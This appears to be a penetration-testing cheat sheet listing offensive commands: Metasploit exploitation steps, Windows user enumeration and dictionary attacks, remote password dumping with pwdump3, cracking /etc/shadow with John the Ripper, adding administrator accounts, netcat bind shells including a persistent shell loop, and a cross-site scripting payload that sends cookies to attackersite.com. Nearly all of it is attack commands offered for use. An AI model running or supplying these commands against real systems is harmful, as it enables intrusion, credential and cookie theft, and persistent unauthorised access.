1. LINUX

1. # gcc <exploit source> -o <outfile>

1. compile an exploit
2. run with ./<outfile>

2. # whoami
3. # id
4. # su -

1. become root

2. WINDOWS

5. c:\>enum -U [target]

1. enumerate user accounts

6. c:\>enum -P [target]

1. enum password policy

7. c:\>enum -G [target]

1. enum groups

8. c:\>enum -UGP [target]

1. enum combined

9. c:\>enum -D -u [user] -f [wordfile] [target]

1. run dictionary attack

3. NMAP

10. # nmap -A <target> --reason -o <file>

1. run “agressive” scan output to a file

11. # nmap -p <port/s> <target> --reason

1. scanspecific ports on target

12. # nmap -sV -p <port/s> <target> --reason

1. version scan

13. --reason - show target’s response
14. --packet_trace - shows packet details
15. --traceroute - show network topology to target

4. Metasploit

1. #msfconsole
2. > show exploits
3. > search [parameter]
4. > show payloads
5. > use /path/to/exploit
6. > set PAYLOAD /path/to/payload
7. > show options
8. > set RHOST <target-ip>
9. > exploit
10. > sessions -l
11. > sessions -i <session-id>

5. Hydan

1. # echo “Hello” > hideme.txt
2. # ./hydan ./ls hideme.txt > <outfile>

1. hide

3. ./ hydan-decode <stegofile>

1. decode
2. enter passwd when prompted

6. DNS Interegation

4. c:\>nslookup
5. >server <dns-server-ip>
6. >ls -d target.tgt
7. # dig @<target-dns-svr-ip> target.tgt -t AXFR

1. attempt zone transfer from linux cli

7. CROSS-SITE Scripting Example

8. http://website.net/search.php?word=<SCRIPT LANGUAGE=Javascript>alert(“PWNED!”);</SCRIPT>

1. Display alert PWNED!

9. http://website.net/search.php?word=<SCRIPT LANGUAGE=Javascript>document.location=’http://attackersite.com/cgi-bin/grub.cgi?’%2bdocument.cookie</SCRIPT>

8. PASSWORDS DUMP

1. c:\> pwdump3 <target-ip> [outfile] [user]

1. (will prompt for password)
2. dumps passwords from remote machine
3. only if you have admin level priv on the remote

9. John the Ripper

2. # unshadow /etc/passwd /etc/shadow >/tmp/combined
3. # ./john /tmp/combined
4. c:\> john <hashfile>

1. under windows

5. “remember to delete “john.pot” if restarting cracking session from beginning

10. WINDOWS Net Commands

1. c:\>net user /add [user] [password]
2. net localgroup administrators /add [user]
3. net user [user] /delete
4. net use * \\[target]\c$ [admin passwd] /u:[user]

1. map local drive to remote with admin privs

5. net use * \\[target]\c$ [admin passwd] /u:{target-ip]\[user]

1. mapping to server (win2K3)

6. net use * /d /y

1. delete all net use sessions

11. NETCAT

7. # nc -lnvp 7777

1. create listener on port 7777

8. # nc -nv <listener-ip> 7777

1. connect to remote listener on 7777

9. # nc -lnvp 7777 -e /bin/sh

1. create listener and shovel a shell on linux

10. c:\> nc -lnvp 7777 -e cmd.exe

1. create listener and shovel a shell on Windows

11. # nc -lnvp 7777 <file.txt

1. create listener, output into the file.txt

12. nc -nv <listner-ip> 7777 >file.txt

1. connect to listner and send a file.txt
2. would normally require a listener with a < file.txt created

13. # while [ 1 ]; do echo “Started”;nc -lnp [port] -e /bin/sh;done

1. create persistant netcat listner with bash shell